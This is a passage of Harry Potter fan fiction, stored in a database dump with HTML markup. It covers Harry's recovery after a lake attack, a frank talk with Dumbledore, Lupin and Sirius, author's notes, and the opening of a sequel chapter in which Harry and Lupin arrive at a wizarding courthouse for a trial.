</p>\n\n<p>\n\n</p><p> He dropped to his knees on the ground, and spat up some of the freezing cold lake water, that had taken up an unwelcome residence in his lungs. </p>\n\n<p>\n\n</p><p> Lupin removed his outer cloak, and wrapped it around Harry, as Sirius began gently rubbing his back. </p>\n\n<p>\n\n</p><p> &quot;Why did you do something so stupid Harry? What are you trying to prove?&quot; he said softly. </p>\n\n<p>\n\n</p><p> The sound of Lupin clearing his throat could be heard. </p>\n\n<p>\n\n</p><p> &quot;Actually, that might be down to me and Alastor, Sirius.&quot; </p>\n\n<p>\n\n</p><p> &quot;What do you mean?&quot; </p>\n\n<p>\n\n</p><p> &quot;We felt it was time he stepped up his training.&quot; </p>\n\n<p>\n\n</p><p> &quot;And since when does his training include letting him go swimming unsupervised, in one of the most dangerous lakes in this country, and not doing anything to protect him from almost getting eaten?!&quot; </p>\n\n<p>\n\n</p><p> &quot;Now, now gentlemen. What happened here was unfortunate, but not entirely unexpected.&quot; Dumbledore interrupted. </p>\n\n<p>\n\n</p><p> Harry looked back to see the Merpeople submerging, he caught the eye of the Chieftainess, long enough to mouth the words \'thank you\', and see her nod her head in acknowledgement. </p>\n\n<p>\n\n</p><p> &quot;Albus, you\'re saying that this was expected?&quot; Lupin asked, clearly shocked. </p>\n\n<p>\n\n</p><p> &quot;Well not that Harry would go off on his own, something for which we will need an explanation later. But the attack was not unexpected. Voldemorts powers are growing. Distance is having less meaning. And some beings are easier to bend to his will than others, especially if they are already pre-disposed to causing chaos.&quot; </p>\n\n<p>\n\n</p><p> &quot;Are you saying that You-Know-Who was behind this?&quot; Ron\'s voice echoed sentiments from the rest of the group. </p>\n\n<p>\n\n</p><p> &quot;I believe so. But rest assured young Mr Weasley. Myself, the school staff, the Merpeople, and some of the other magical creatures of this lake, shall be increasing the number of protective charms around it, and around the school. I admit, I had not the outlook to foresee that Harry would be spending enough time here, for Lord Voldemort to attempt something.&quot; </p>\n\n<p>\n\n</p><p> &quot;I think that there might be more to it Albus.&quot; </p>\n\n<p>\n\n</p><p> The headmaster gave a slightly quizzical look to Moody, something that seemed oddly out-of-place for the powerful wizard. And then he prompted Moody to continue. </p>\n\n<p>\n\n</p><p> &quot;I believe that the Dark Lord may be testing the waters so to speak.&quot; </p>\n\n<p>\n\n</p><p> &quot;You mean, you think that he\'s not just after Harry?&quot; Lupin queried. </p>\n\n<p>\n\n</p><p> &quot;I believe so. I think that he may be testing us. Seeing where our weaknesses lie. And using the fact that we\'ve always assumed that he would go after Harry first, to his advantage.&quot; </p>\n\n<p>\n\n</p><p> &quot;Do you think he\'s going to try and take the school?&quot; Hermione asked nervously. </p>\n\n<p>\n\n</p><p> Moody nodded solemnly. </p>\n\n<p>\n\n</p><p> &quot;But he can\'t.&quot; she exclaimed. </p>\n\n<p>\n\n</p><p> &quot;Not as long as Professor Dumbledore is here.&quot; </p>\n\n<p>\n\n</p><p> &quot;Why thank you Miss Granger. But I think that the compliment is less well deserved now. I\'m ... I\'m getting old.&quot; </p>\n\n<p>\n\n</p><p> At that no one knew what to say. Harry spat up some more lake water, and unfortunately drew the attention back to himself. </p>\n\n<p>\n\n</p><p> &quot;Well Mr Potter, I don\'t think that Poppy will be very happy to see you again.&quot; </p>\n\n<p>\n\n</p><p> Sirius and Lupin helped Harry to his feet, and he pulled Lupin\'s worn old cloak, tighter about him. They began walking back to the school, and once in sight of it, Sirius returned to his animagus form. </p>\n\n<p>\n\n</p><p> Harry felt intense relief that there were no other students around, when they arrived. So the group was able to move undisturbed, to the hospital wing. </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> &quot;You again!&quot; </p>\n\n<p>\n\n</p><p> Were the first words Harry heard upon his entrance. He felt a slight smile tugging at the corner of his lips, at the exasperated look on Madam Pomfrey\'s face. </p>\n\n<p>\n\n</p><p> Lupin helped Harry on to the bed, on which Harry opened his cloak just enough to allow Madam Pomfrey to attend his wounded leg. Madam Pomfrey looked pleasantly surprised when she saw the makeshift seaweed bandage around it. </p>\n\n<p>\n\n</p><p> &quot;Ah, Mermish medicine, very good. Very good, as long as it\'s used quickly. You should be fully healed within a week.&quot; </p>\n\n<p>\n\n</p><p> &quot;Will I have another scar?&quot; </p>\n\n<p>\n\n</p><p> Harry didn\'t want to think that he was being vain, or others to think it, so he\'d kept his voice low, as he directed the question at Madam Pomfrey. As he self-consciously tugged his cloak tighter around himself, the nurses face softened visibly for a moment. </p>\n\n<p>\n\n</p><p> &quot;I shouldn\'t think so dear. If so, it will be barely noticeable. Mermish medicine is very good for deep flesh wounds. They need it, what with all those spears, and trident things, and what not. </p>\n\n<p>\n\n</p><p> Now I think that all I need to do, is get you warmed up, fed and rested, and you can leave tomorrow morning in time for lessons.&quot; </p>\n\n<p>\n\n</p><p> Madam Pomfrey moved off to get blankets from a nearby store cupboard, but called over her shoulder. </p>\n\n<p>\n\n</p><p> &quot;And I don\'t expect to see you back in here again for a very long time. In fact, if I see you again before your seventh year, I may have to kill you, rather than save you. And save my own sanity, if I have one more student breaking in to bring you ...&quot; </p>\n\n<p>\n\n</p><p> Her voice trailed off, as she left the room. </p>\n\n<p>\n\n</p><p> &quot;Wow, looks like I got off lightly.&quot; </p>\n\n<p>\n\n</p><p> Harry couldn\'t help it. He smiled. An act that seemed almost infectious, not that Madam Pomfrey need be concerned. Smiles lit up the faces of everyone in the room. Even Justina Nottom, a third year who\'d managed to curse her own lips off two days ago, and was currently being a great puzzle for the school nurse - who frequently claimed that they couldn\'t think up a curse, other than the killing curse, that she couldn\'t find a cure for. </p>\n\n<p>\n\n</p><p> Ron looked slightly puzzled a moment later. </p>\n\n<p>\n\n</p><p> &quot;What?&quot; </p>\n\n<p>\n\n</p><p> &quot;It\'s just ... well, you look happy. And well ... you haven\'t really looked anything for the past few months.&quot; </p>\n\n<p>\n\n</p><p> Smiles fell, Hermione looked ready to kill Ron, and Sirius growled at him. </p>\n\n<p>\n\n</p><p> &quot;Hey Snuffles, it\'s alright. I just ... I think that I might\'ve had a wake up call earlier. If you know what I mean. I felt numb for so long, I guess it took something that actually made me go numb, to realise that I could feel again ... I think, I\'m not sure if I\'m making any sense.&quot; </p>\n\n<p>\n\n</p><p> &quot;I think that your making perfect sense Harry.&quot; Lupin said quietly. </p>\n\n<p>\n\n</p><p> And then he moved forward, and did something that for Harry, forever secured him in his mind, as being a part of his small family. Remus took Harry\'s head in his hands, and pulled it forward slightly, and lightly kissed the top of Harry\'s forehead, close to his scar. He let go, and turned around, and with one look, got the others to leave. </p>\n\n<p>\n\n</p><p> He turned back to face Harry when they\'d gone. </p>\n\n<p>\n\n</p><p> &quot;Get some rest Harry, we\'ll talk in the morning.&quot; </p>\n\n<p>\n\n</p><p> &quot;Thank you. Professor?&quot; </p>\n\n<p>\n\n</p><p> &quot;Yes Harry?&quot; </p>\n\n<p>\n\n</p><p> &quot;I know what you did for me. What you tried to do for me, as a baby, when you tried to get me then. I wanted to thank you.&quot; </p>\n\n<p>\n\n</p><p> Lupin looked momentarily shocked. But he recovered once the words \'thank you\' reached his consciousness. </p>\n\n<p>\n\n</p><p> &quot;Your welcome. And Harry?&quot; he said as he walked towards the double doors that exited the hospital wing. </p>\n\n<p>\n\n</p><p> &quot;Yes?&quot; </p>\n\n<p>\n\n</p><p> &quot;Call me Remus.&quot; </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> Harry was not surprised to be summoned to Dumbledore\'s office the next day. A letter came from Lupin telling him to meet them -himself, Dumbledore, and Snuffles- in the headmaster\'s office, straight after lunch. The password was \'Jelly Fluberworms\'. And he was excused from the first half of Snape\'s class for this -much to the dour potions teachers consternation. </p>\n\n<p>\n\n</p><p> Harry couldn\'t hide a slight limp as he walked with Ron into the Great Hall, but much to his relief, he found that few people even gave him a second glance. </p>\n\n<p>\n\n</p><p> &quot;Does anyone know about what happened last night?&quot; he whispered quietly enough for only Ron and Hermione to hear. </p>\n\n<p>\n\n</p><p> &quot;No I don\'t think so mate. Anybody who\'s asked, we\'ve just told them that you sprained your ankle when you were running. Since most people know that your being made to do that now. I did tell Fred and George though, I hope you don\'t mind.&quot; </p>\n\n<p>\n\n</p><p> &quot;That\'s alright Ron, I just didn\'t fancy listening to Malfoy, mouthing off. Imagine the field day he\'d have, if he found out that I almost let myself get eaten by a Grindylow!&quot; </p>\n\n<p>\n\n</p><p> They settled down to a very nice fry-up breakfast -though Harry wasn\'t really supposed to be eating that kind of food. Hermione commiserated -Lavender had all the girls in her dorm room on a kind of healthy living diet, to help them (Lavender) lose weight. Ron said, a shade quicker than Harry to the mark, that Hermione was already perfect as she was. </p>\n\n<p>\n\n</p><p> If the three friends had not been enjoying each others company so much, they might have noticed that most of the hall was making the odd whispers about them. But for once, it wasn\'t about the Staff of Gaia, or which one of the boys Hermione would eventually pick, if either -Justin Finch-Fletchley had &#163;5 running on Hermione picking Draco. Which, as most people pointed out, was about as likely as her picking Nearly Headless Nick. For once the comments were happy whispers, pointing out that whatever spark that kept the dynamic between the three, recently no more than a flickering ember of what it once was, had returned in full-force. </p>\n\n<p>\n\n</p><p> Most agreed, that it was the sudden change in Harry that had prompted this happy change. And a few, but not many, surmised that more had happened last night, than Harry simply spraining his ankle. </p>\n\n<p>\n\n</p><p> When the morning had passed, and lunch had gone by, Harry waved a cheery goodbye to his two friends, and bade them good luck -as Snape was likely to take out his bad mood over Harry\'s absence, on the both of them- and went straight to the corridor that contained the gargoyle that blocked the entrance to Dumbledore\'s office. </p>\n\n<p>\n\n</p><p> &quot;Jelly Fluberworms.&quot; </p>\n\n<p>\n\n</p><p> The gargoyle did not move. </p>\n\n<p>\n\n</p><p> Great, they gave me the wrong password </p>\n\n<p>\n\n</p><p> &quot;Erm ... Droobles Best Blowing Gum? Fizzing Whizbee\'s? Sugar Quill? Cockroach Cluster? Oh no, he\'s already had that one, hasn\'t he? Err ...&quot; </p>\n\n<p>\n\n</p><p> &quot;Actually it\'s Sherbet Snitch.&quot; Said Lupin, moving up the corridor behind him. Snuffles trailed a little behind him. </p>\n\n<p>\n\n</p><p> The gargoyle moved. </p>\n\n<p>\n\n</p><p> &quot;Sorry, I gave you the old password.&quot; </p>\n\n<p>\n\n</p><p> Dumbledore\'s office had changed little since Harry\'s last visit. It seemed larger somehow, as if it had been extended for an expected number, or a larger number of people being inside it, in the coming months. </p>\n\n<p>\n\n</p><p> There was another window -Harry was quite sure that it was a smaller version of the charm on the ceiling of the Great Hall- so the early afternoon\'s sunlight spilled into the room. But the atmosphere was a little heavier, one that seemed to permeate Harry\'s every pore. It was an important place now. </p>\n\n<p>\n\n</p><p> A tingling sensation in his solar plexus, caught Harry like the sight of an old friend from long ago. He was pretty sure that behind the perch that contained a very healthy-looking Fawkes, was a secret alcove containing the Staff. He also got the feeling, that if he thought he needed the Staff enough, it would come to him, protective wall and charms, or no. </p>\n\n<p>\n\n</p><p> Fawkes flew over from his perch almost the moment Harry entered the room, and settled on Harry\'s arm -once he\'d stretched it out to accommodate the Phoenix. </p>\n\n<p>\n\n</p><p> &quot;Hello Fawkes. How\'ve you been?&quot; </p>\n\n<p>\n\n</p><p> Fawkes gave Harry a look that almost seemed to say \'well, better than you.\', before the phoenix clearly indulged itself like a kitten as Harry stroked it. </p>\n\n<p>\n\n</p><p> &quot;Harry welcome. Please sit down. Would any of you care for a chocolate Frog, or a Fizzing Whizzbee? Please take a Cockroach Cluster while your at it.&quot; </p>\n\n<p>\n\n</p><p> Happily fed on chocolate, and sweets that could make you levitate for a few moments, Dumbledore had come straight out and asked Harry why he had gone to the lake alone, if he\'d been so against the idea of swimming in the first place. </p>\n\n<p>\n\n</p><p> &quot;Well, I suppose I was kind of angry at the time.&quot; </p>\n\n<p>\n\n</p><p> &quot;Angry?&quot; </p>\n\n<p>\n\n</p><p> &quot;Yes, well ...&quot; he turned to Lupin. </p>\n\n<p>\n\n</p><p> &quot;I didn\'t mean to, but I heard you and Moody talking. And I got angry.&quot; </p>\n\n<p>\n\n</p><p> &quot;Oh God Harry, you were never meant to hear those things!&quot; </p>\n\n<p>\n\n</p><p> &quot;No. No, it\'s alright Remus. Maybe it\'s better that I did hear them. I mean, now I know that you tried to adopt me, and I know that Mrs Figg is a witch.&quot; </p>\n\n<p>\n\n</p><p> &quot;You know Harry, I really thought that you were a smart kid. How did you not figure that one out sooner is beyond me.&quot; Sirius said, smiling. </p>\n\n<p>\n\n</p><p> Harry smiled back, Sirius was right, now that he thought about it, it was pretty obvious. </p>\n\n<p>\n\n</p><p> &quot;Thanks a lot! But what I\'m really trying to say is, I was angry at first, you\'ve kept a lot from me.&quot; </p>\n\n<p>\n\n</p><p> Lupin and Sirius looked momentarily downcast. </p>\n\n<p>\n\n</p><p> &quot;No one told me about Voldemort disappearing. No one told me that I\'m getting Auror training. No one would tell me anything about the trial. You all treated me like I was going to snap at any moment. </p>\n\n<p>\n\n</p><p> But you were right, I think. I was angry that you didn\'t think that I could take care of myself, even though you were clearly right. I was being stubborn, so I decided to ... to ...&quot; </p>\n\n<p>\n\n</p><p> &quot;To prove to us that you could?&quot; Dumbledore finished. Harry only nodded. </p>\n\n<p>\n\n</p><p> &quot;But I realise now, I know what was happening when the Grindylow kept trying to pull me under, I realised how much I didn\'t want to die. It was like I woke up, and I started to feel things again. But before, I was afraid. Afraid that to feel one thing about something or something, would mean I\'d have to feel something about everything and everyone, and I wouldn\'t have time to be myself anymore. Does that make any sense?&quot; </p>\n\n<p>\n\n</p><p> &quot;Yeah Harry, it does.&quot; Sirius said sadly. </p>\n\n<p>\n\n</p><p> &quot;Harry do you think that you could do the headmaster, Remus and I, a favour?&quot; </p>\n\n<p>\n\n</p><p> Harry nodded a little uncertainly. </p>\n\n<p>\n\n</p><p> &quot;Don\'t\' hide what your feeling from us, not again. We understand that there are certain things you will tell us about in your own time, and we respect that. But don\'t let these feelings get on top of you. Always try to talk to one of us. Anyone for that matter, and we\'ll try to be more open with you in the future.&quot; </p>\n\n<p>\n\n</p><p> &quot;Thank you.&quot; </p>\n\n<p>\n\n</p><p> &quot;So ... is there anything that you want to tell us about right now, how your feeling?&quot; </p>\n\n<p>\n\n</p><p> &quot;Well ... about the trial ...&quot; </p>\n\n<p>\n\n</p><p> ~o0o~ </p>\n\n<p>\n\n</p><p> Harry never did make it to the end of potions, but he did learn a lot about the joint muggle-wizard legal system -more than enough to give him some hope for a just verdict. He also learnt that Uncle Vernon had only recently been restored to his human form. A pity, in Harry\'s opinion, he\'d been a much more attractive Dung Beetle. </p>\n\n<p>\n\n</p><p> He also learnt that the trial would be held around two months later, at the end of March. And that the trial date, and its location was continuously changed to keep the media away from the event. </p>\n\n<p>\n\n</p><p> All in all though, these next few months passed by very happily. Harry had regained his strength, and was actually now the average weight for a boy of his age and height, though with the added bonus of some killer leg muscles -those Auror lessons were going quite well. </p>\n\n<p>\n\n</p><p> The Staff itself was still kept safely locked away, brought out only once every two weeks. And within those few hours each fortnight, it was found that Harry now had the strength of will to be around the Staff without setting it off. </p>\n\n<p>\n\n</p><p> Strangely, nothing was ever said to Harry of the mysterious person coming to help him in his studies, nor was anything made of what this person had sent Harry. For it still lay in it\'s purple velvet bag at the bottom of Harry\'s trunk, forgotten, for now. </p>\n\n<p>\n\n</p><p> But the time would come when Harry would ask himself how he could have forgotten something that would have turned out to have such importance. </p>\n\n<p>\n\n</p><p> But then, as Hermione would always remind him, he\'d just had ... other things on his mind. </p>\n\n<p>\n\n</p><p>\n\n<i>~o0o~</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>The End!!!!!!</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Finally, I\'ve finished! Now to all, if you\'ve managed to stay with me, go get some sleep, and don\'t drink anymore caffiene!</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>I hope to have the next part up within a few months. &#8220;Harry Potter and the Trial of Memories&#8221;, will be chapter 3, and if anything gets in the way of my trying to finish it, I\'ll let you know.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Once again, if I get more than a few reviews that request smaller chapters at a more frequent rate, I will consider it, but at the moment, the preferrence seems to be for the fic, the way it is.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i>Okay, I\'ll stop rambling now. Review if you liked it, or want to throw in your ideas -though I\'ve got a whole book full of `em. See you in a few months. I hope. Chocchip.</i>\n\n</p>\n\n<p>\n\n</p><p>\n\n<i></i>\n\n</p>\n\n<address>\n\n\n\n\n\n\n</address> --&gt; '),
	(6, 3, ' <p>~0~ Hey, it&#8217;s only me! I know, I&#8217;m a terrible author, and I really need to sort out this updating thing more often. This chapter might be in two or three parts; it depends on what the length is like when I finish writing it. But just to say, that there will be something happening at the end of year five, which will affect the characters deeply. As for this part, sorry if it&#8217;s a bit talky, but you&#8217;ll need this stuff to understand what happens later- same for previous chapters.</p>\n\n<p>Will get to some of the good stuff in the second part. We&#8217;ll get the actual trial, Hermione and Harry exploring their link, and finding out that Hermione isn&#8217;t the only one with access to Harry&#8217;s mind- and it&#8217;s not only who you&#8217;re all thinking of!</p>\n\n<p> Thanks again to Nappa for being such a good sport and letting put this trash on his site, lord knows we could all use a good laugh(though I&#8217;m not I&#8217;d read one of my stories for that.)</p>\n\n<p>Anywho, I&#8217;d best be off too carry on writing, and tell the plot bunnies who&#8217;ve been trying to get me to write a &#8216;Harry from the future&#8217; fic, to go away. By the way, has anybody else ever thought that Alexis Denisof (Wesley on Angel) would make a perfect grown-up Harry? Nope? Just me? Ah well, back to my sordid little fantasy world. &gt;*_*&lt; ~0~ </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry Potter and the Trial of Memories</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Wake up Harry.&quot;</p>\n\n<p>Harry mumbled something incoherent, and rolled over.</p>\n\n<p>&quot;Harry, you have to get up now. It\'s time.&quot;</p>\n\n<p>&quot;Mo\'key, gimmie few mimmets.&quot; He replied, hugging his pillow closer to him.</p>\n\n<p>&quot;If I leave now, will you go back to sleep?&quot;</p>\n\n<p>&quot;Nuh ah.&quot;</p>\n\n<p>&quot;I don\'t believe you.&quot;</p>\n\n<p>There was a sudden shock of cold air against his body, as Lupin thoughtlessly -in Harry\'s opinion- pulled back the covers on Harry\'s bed.</p>\n\n<p>Harry, stubbornly, lay there, shivering.</p>\n\n<p>&quot;Stop being so bloody stubborn will you, and for god\'s sakes, put something warm on, it\'s the middle of March!&quot; Came Lupin\'s exasperated response. Harry took a moment, shivering in his t-shirt, before he replied.</p>\n\n<p>&quot;I did have something on. It was nice and warm. And then it disappeared, as if by magic.&quot; He grinned slightly.</p>\n\n<p>&quot;And you woke me up in the middle of a really nice dream.&quot; Harry sighed; he really didn\'t get enough of them.</p>\n\n<p>&quot;What are you waking me up for at ...&quot; He paused to look at his magical sundial-come occasionally reliable alarm clock.</p>\n\n<p>&quot;5am! What are you waking me up for at 5am?!&quot;</p>\n\n<p>&quot;Harry.&quot; Lupin said softly.</p>\n\n<p>&quot;The trial starts today.&quot;</p>\n\n<p>&quot;Oh.&quot;</p>\n\n<p>~o0o~</p>\n\n<p>The old Courthouse was probably the largest building he\'d ever seen, larger still than Gringotts, the wizarding bank. It was located a lot further down Diagon Alley than Harry had ever been, or had even realised had existed. Gone were the small shops and tiny cafes, to be replaced with what appeared to be mainly government office buildings. Each had a different plaque fixed to the outside, baring the name of the particular division of the Ministry of Magic, that the building was used for. Some of the more obscure divisions, had plaques that reached over two feet in length, that described what they did, such as </p>\n\n<p>&quot;The Department of International Monitoring of Forestry Regulation for the Purposes of Experimental Magical Broom Design.&quot; Or </p>\n\n<p>&quot;The Department of National Monitoring of Goods of Humorous Design, and their usage, within the purposes set down in the \'Joke shop\' regulations of 1438.&quot;</p>\n\n<p>And other far longer titles. The secret headquarters of the Ministry of Magic&#8217;s Spy division was also here. For a secret though, everyone knew where it was. Groups of tourists outside were having their photos taken next to the buildings plaque.</p>\n\n<p>Perhaps it was the overall simplicity of the title, in comparison to the others, which gave it away.</p>\n\n<p>&quot;Ministry International Five.&quot;</p>\n\n<p>Or more simply put</p>\n\n<p>&quot;M.I.5.&quot;</p>\n\n<p>Harry didn\'t get much time to muse on the parallels of muggle and wizard society. Two burly-looking wizards in plain black cloaks, baring a symbol of a Griffin with a wand crossed over it, as a small badge on the left side of their chests. The security wizards for the Courthouse came rushing up to where Harry and Remus had been standing, and quickly began to pull them in the direction of the Courthouse.</p>\n\n<p>Lupin had appeared to be almost as fascinated at the buildings around them as Harry was. He had confessed to Harry that morning, that it had been some years since he was last in the capital of the wizard community. In fact, he hadn\'t been anywhere near it since Voldemorts downfall. He had been worried that it may have changed so much, he might not recognise where he was going. Or maybe that peoples attitude towards him, would not have changed, some people more than others. Though he would not say whom.</p>\n\n<p>Pulled inside the huge building, which reminded Harry of a picture of a muggle building he\'s once seen, called \'The Whitehouse\', only this one was made from something that appeared to be very red sandstone. Harry was entirely surprised to find that appeared to be even larger inside than out.</p>\n\n<p>Everything was made from different coloured marble, which seemed to shimmer as the light hit it. The dark seaweed green of the floor, lead to two grand staircases, that led upwards with a gentle curve. But how high up, Harry could not see. It made him feel somewhat queasy in fact, not to be able to see the ceiling above him. The walls were made of a similar marble, but were set in alternating blocks of grey and white, in a chequered pattern, which only served to make him feel even queasier.</p>\n\n<p>There were huge velvet drapes, in a rich blue, held apart from equally large windows, allowing the daylight in. The curtains themselves seemed to fade into the never-ending ceiling. It was like a reversed bottomless pit, he had a sense that trying to guess distance of the roof of the building, would be like trying to touch the sky.</p>\n\n<p>There were doors lining the walls on either side of him. They came in all shaped and sizes, and appeared to be made of many different types of materials. From plain wooden ones-though of different woods- to ones made of metals, and some that looked like fabric of some kind. They ran on for as far as the eye could see, for this central room, appeared to be as deep, as it were tall. Periodically people, and many other creatures that Harry couldn\'t even identify, would burst through or into one of the doors. There were more people, and other things, milling around in what Harry could only describe as a lobby.</p>\n\n<p>Some doors were of an ordinary human sized height, whilst others were many times larger, big enough for Hagrid to fit through without stooping. Whilst some were small and round, and only two feet in height. One door in particular caught Harry\'s attention. Probably because it was easily the largest one he could see. It was made of a shimmering silver metal, upon which many things were carved. Some appeared to be a language, but certainly none that Harry knew. There was a massive brass doorknob, set halfway up, which was about the size of Harry\'s head. And the height, at which it was set, was at least three times higher than Harry could reach, even standing on tiptoes. There was a smaller door to one side, made of the same material, clearly there for human use. The only thing that Harry could think of that might have use for the rather large door, was a dragon, and he didn\'t particularly feel like meeting one of them right now. </p>\n\n<p>The witches and wizards around him, were quite a mixed bunch. Some were clad simply in plain grey, brown or black robes, in a style that was reminiscent of a muggle business suit. These people generally had very stern looks upon their faces. The men were either old and balding, or young, not particularly attractive, and greasy-haired. The women all looked like younger versions of McGonagall. No matter how old they were.</p>\n\n<p>Other witches and wizards were wearing their best dress robes. Unfortunately for one embarrassed looking witch, her best robes were a dazzling pink, that would not have looked out-of-place on a ballroom dancer. There were small, ugly little creatures, in huddles, occasionally disappearing through the small round doors, Goblins. And these ones looked even meaner than the ones at Gringotts. Though, for all Harry knew, they could have been the ones that worked at Gringotts.</p>\n\n<p>But what amazed Harry most of all, was the muggles. Perfectly ordinary-looking muggles all in smart suits, some he could guess were almost certainly lawyers. There was a particularly sharply dressed young man, lightly tanned, with sandy-blond hair, slicked back in a fashionable muggle style, with a very smug look upon his face as he talked to another bunch of muggles. He reminded Harry of a grown-up Draco. Harry didn\'t like him.</p>\n\n<p>The security wizards pushed them towards a large central oval reception desk. Situated at the foot of the two staircases. Within it was stationed four other security wizards, and to each wizard on the opposite side of the desk, were large queues of people, goblins, house-elves, and several other creatures that Harry had never seen before. </p>\n\n<p>But Harry and Lupin were pushed firmly to the front of the queues, and placed before a very butch, very arrogant security wizard. Harry didn\'t need to look at him twice to see that this was someone who didn\'t hesitate to enforce what little power they had been afforded. And probably enjoyed themselves far too much when they were doing it. The small nameplate in front of him read.</p>\n\n<p>&quot;Thomas Mistspellt - Head Security Advisor.&quot;</p>\n\n<p>&quot;Name please.&quot; He said, though the look on his face told Harry that he clearly knew who he and Lupin were. He also shot a particularly smug look at Remus, who for his part didn\'t bat an eyelid.</p>\n\n<p>&quot;Remus Lupin accompanying Harry Potter to court one, trial number three hundred, fifty-two.&quot; Lupin said in a fairly hushed tone, to prevent anyone overhearing.</p>\n\n<p>It didn\'t take Harry much longer to figure out that Remus and the butch security wizard knew each other from somewhere, and it was even more apparent that they loathed the sight of each other. What made this promptly clearer, was the vindictive way in which Thomas did not lower his voice to answer. In fact, he raised it.</p>\n\n<p>&quot;Harry Potter for trial three hundre\' fify-too? Well yer on me list. Go up ter stairs to t\' central court.&quot;</p>\n\n<p>By this time, the noise in the entire hall had lowered to the barest of whisperings.</p>\n\n<p>&quot;Harry Potter, did he say?&quot;</p>\n\n<p>&quot;Wasn\'t that in the Prophet?&quot;</p>\n\n<p>&quot;Was this about him attacking his Uncle?&quot;</p>\n\n<p>Were just a few of the things he could hear. Mistspellt continued.</p>\n\n<p>&quot;Please leave your wands, potions, and any other magical objects you might be carrying, such as port keys, at the desk. Were you can collect them later.&quot;</p>\n\n<p>Harry was fuming, but had no desire to get into trouble for cursing the man, and so handed his wand over. Remus, on the other hand, looked about ready to use an unforgivable curse on Mistspellt. No longer attempting to remain quiet about Harry\'s entrance to the wizards\' high court, since that was now ruined anyway, Remus also raised his own voice.</p>\n\n<p>&quot;I am here as a guardian to Harry, to protect him; I require the use of a wand. Since I highly doubt that it is within your capabilities to do so, Misty old friend.&quot;</p>\n\n<p>The grin on Mistspellt\'s face had disappeared. Briefly he blushed in embarrassment, before his features darkened to one of utter contempt. </p>\n\n<p>&quot;It\'s the rules Remus I am sure that even people such as yourself, understand that, unless you think you and your kind above the rules? Now hand it over!&quot;</p>\n\n<p>The security wizards behind them moved forward a step, backing up the idea of what would happen to them, if they did not comply with Mistspellt.</p>\n\n<p>Lupin hovered for a moment. Before he took out his wand, and levelled it at Mistspellt\'s chest. The wizards\' eyes widened. Remus smiled briefly at the look of fear that had passed over the other man\'s face. And then he turned the wand in his hand, to point back at himself. Mistspellt leant over, and grabbed it quickly.</p>\n\n<p>&quot;Don\'t worry Remus. I am sure that we can protect poor young Harry from You-Know-who, should he rise from his grave.&quot; There were giggles from a few of the people nearby. Apparently those who did not know that he truly had risen from his grave again.</p>\n\n<p>Perhaps Mistspellt\'s comment would have been more reassuring, if he hadn\'t chosen that moment to whisper \'Werewolf\', under his breath, as Harry and Remus walked away.</p>\n\n<p>Remus visibly stiffened. Harry was outraged. And was on the verge of calling the Staff of Gaia to himself, to show Mistspellt what he thought of him, when Lupin placed a steadying hand on his shoulder. And then steered him towards the right-hand marble staircase.</p>\n\n<p>&quot;Come along Harry, we don\'t want to be late.&quot;</p>\n\n<p>&quot;No we wouldn\'t want that now would we?&quot; Harry could not keep the sarcasm out of his voice when he answered.</p>\n\n<p>About halfway up the never-ending stairs, the two security wizards behind them stopped, turned, and headed back. And then Harry saw for the first time, a shimmering, transparent wall of yellow light. Lupin nodded for him to continue. He felt a warmth as he passed through it, and then heard a strange \'ping\' noise. As Lupin passed through it, the noise sounded again.</p>\n\n<p>&quot;Don\'t worry Harry. Just a security field. Anyone who hasn\'t checked in at the desk, for this court number, won\'t be allowed in.&quot;</p>\n\n<p>That was something of a relief. Undoubtedly, a witch or wizard from downstairs will be on their way to inform the Daily Prophet of Harry\'s arrival. And reporters would be arriving before the day ended. They had hoped to get at least the first week of the trial out of the way, before that happened. But Mistspellt had just ruined any chance of that, behaving very irresponsibly. As Remus told him.</p>\n\n<p>&quot;I\'m sorry Harry, grudge against me or no, Misty shouldn\'t have behaved like that, he should, and I will bloody well see to it that he\'s fired for this!&quot;</p>\n\n<p>&quot;Misty? Remus what happened?&quot;</p>\n\n<p>&quot;Err ... it was a long time ago, and Misty, I mean Mr Mistspellt ... never really got past it.&quot;</p>\n\n<p>It was made pretty clear to Harry at that moment, that Lupin considered that the end of the conversation. He filed the subject away in his mind, in order to bug Remus about it later.</p>\n\n<p>It occurred to him that they had, by this point, been walking for quite sometime. That the marble staircase they were on, seemed to have a continuous, but gentle curve to the left. It was then that he realised that both of the marble staircases probably lead to the same place, the main courtroom. Harry wasn\'t sure as to whether be comforted by the fact that he was in the main court, where only the most important cases were tried, or not.</p>\n\n<p>His assumption was confirmed a moment later, as they reached the top step. Both staircases opened onto what appeared to be a large waiting area. The floor had changed to a blood red colour. There were a number of functional, but expensive looking tan leather chairs, made for one or two people, scattered mainly along the walls. The walls were no longer chequer-board marble, but warmly coloured oak panelling. Flecks of gold appeared to be imbedded in the wood, making it glistening, as both firelight and sunlight touched it.</p>\n\n<p>Though there was daylight reaching the waiting area from the huge windows, which had started on the ground floor, there were a number of torches, which added firelight, adorning the walls. Two larger, more ornate torches surrounded the two large oak doors, which were covered in an intricate silvery pattern. Though it was a noticeable difference, the two doors reminded Harry of the doors to the Great Hall at Hogwarts. The similarity was comforting to him.</p>\n\n<p>There was a handful of people sat down, talking in hushed voices, in small groups. Some were wizards, some muggles. Harry hoped that Professor Dumbledore would not take much longer to arrive, or his lawyer for that matter.</p>\n\n<p>His lawyer, was a kind man by the name of Mundungus Fletcher. Considered one of the best in his day. He had quite a brilliant legal mind, though he had not practised for about ten years. He had told Harry the day he met him, that a lawyer was some one who should have no emotional attachment to their client, but have some faith in them. That this was the best way to help them win. But this time, this case, he would be making an exception. He already had an emotional attachment, since he had once been Lily\'s mentor. And having listened to Dumbledore talk about Harry on numerous occasions, he had complete faith in him.</p>\n\n<p>The old Scotsman, was fun to be around, like a grandfather in the group, so old he even called Dumbledore \'young man\'. He had known James Potter when he was alive, and had worked with him on occasion. He had been training Lily to be a defence attorney; she had shown great promise apparently. And he was an old 